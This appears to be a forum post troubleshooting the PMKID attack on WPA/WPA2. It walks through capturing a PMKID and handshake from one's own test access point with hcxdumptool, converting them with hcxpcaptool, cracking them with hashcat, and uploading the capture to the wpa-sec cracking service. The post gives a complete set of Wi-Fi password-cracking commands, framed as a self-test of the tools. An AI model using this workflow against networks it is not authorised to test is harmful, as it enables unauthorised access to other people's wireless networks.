New attack on WPA/WPA2 using PMKID

[ZerBea]

I don't think it's a driver issue and I don't think it's a pineapple issue, because use received a PMKID from the access point!

1) check your environment
identify your access point (ESSID and mac)
set the PSK from the access point to 123456789
connect a client to the access point (we need this to verify that the handshakes matches to the PMKID) and use this PSK
use a fix channel (for example: 3)

2) make sure you're using latest git of hcxtools and hcxdumptool
add the mac ap to the filter list
run hcxdumptool:
hcxdumptool -i <your interface> -o test.pcapng --filterlist=your filterlist> --filtermode=3 -t 120 -c 3 --enable-status=1
now wait until you have received a PMKID and a handshake

3) run hcxpcaptool to convert the hashes for hashcat
hcxpcaptool -o test.hccapx -z test.16800 test.pcapng

4) check if test.16800 contains the mac of the access point
and that the mac matches to the mac within test.hccapx
wlanhcxinfo -i test.hccapx -a -e

6) add some words and the PSK 123456789 to the wordlist
first run hashcat on the handshake
hashcat -m 2500 test.hccapx wordlist
hashcat should recover the PSK
now run hashcat on the PMKID
hashcat -m 16800 test.16800 wordlist
hashcat should recover the PSK

7) upload test.pcapng to https://wpa-sec.stanev.org/?
to see if it's crackable by common worlists
use the webinterface or wlancap2wpasec
wlancap2wpasec test.pcapng
if the PSK is easy, wpa-sec should be able to retrieve the the PSK:
Last 24h processed nets: 73876
Last 24h performance: 705.79K/s
Last 24h submissions: 24877
Last 24h founds: 11368
...as of today from wpa-sec stats: https://wpa-sec.stanev.org/?stats